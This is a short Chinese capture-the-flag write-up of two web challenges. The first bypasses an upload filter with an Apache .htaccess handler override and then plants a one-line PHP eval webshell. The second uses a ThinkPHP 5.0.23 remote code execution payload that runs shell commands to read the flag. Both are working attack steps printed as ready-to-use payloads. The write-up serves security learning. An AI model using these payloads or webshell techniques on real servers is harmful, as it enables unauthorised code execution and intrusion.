[GXYCTF2019]BabyUpload
知识点
.htaccess文件上传绕过
l流程:
先上传一个小马看看,ph 后缀的都被ban了
图片马试一试,凉凉,看看是什么服务,搞一个不存在的页面让它404
apache的,那就用 .htaccess文件
<FilesMatch "flag.png">
SetHandler application/x-httpd-php
</FilesMatch>
匹配到flag一句话木马文件,让其成为php执行
或者
SetHandler application/x-httpd-php
用 .htaccess让apache将所有上传的文件都当成php来执行
上传成功后,会返回上传的路径
然后在传一个图片马就行,额一句话的木马不行,应该是过滤了<?,就用js引用,代码如下(这个题限制了jpg,不过png也可以)
GIF89a?
<script language="php">eval($_POST['xxx']);</script>
返回路径
访问一下,发现访问成功,直接用蚁剑连接,flag在根目录里 /flag
二
不用蚁剑的话,post xxx=system(‘cat /flag’),因为系统函数都被禁止了
这个不行
看一下phpinfo 发现
这里介绍一下PHP show_source() 函数
show_source() 函数对文件进行语法高亮显示
语法
show_source(filename,return)
本函数是 highlight_file() 的别名。
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
返回值
如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。(比如写了一段计算的代码,会返回代码本身而不是计算结果)否则,若成功,则返回 true,失败则返回 false。
[BJDCTF 2nd]old-hack
THINKPHP 5.0.X-5.0.23、5.1.X、5.2.X 全版本远程代码执行漏洞分析
ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
告诉了我们是THINKPHP5的漏洞
搜这个版本的漏洞
发现是thinkphp5.0.23的命令执行
payload
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
POST提交尝试一下,发现可行,然后就cat /flag
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
查看flag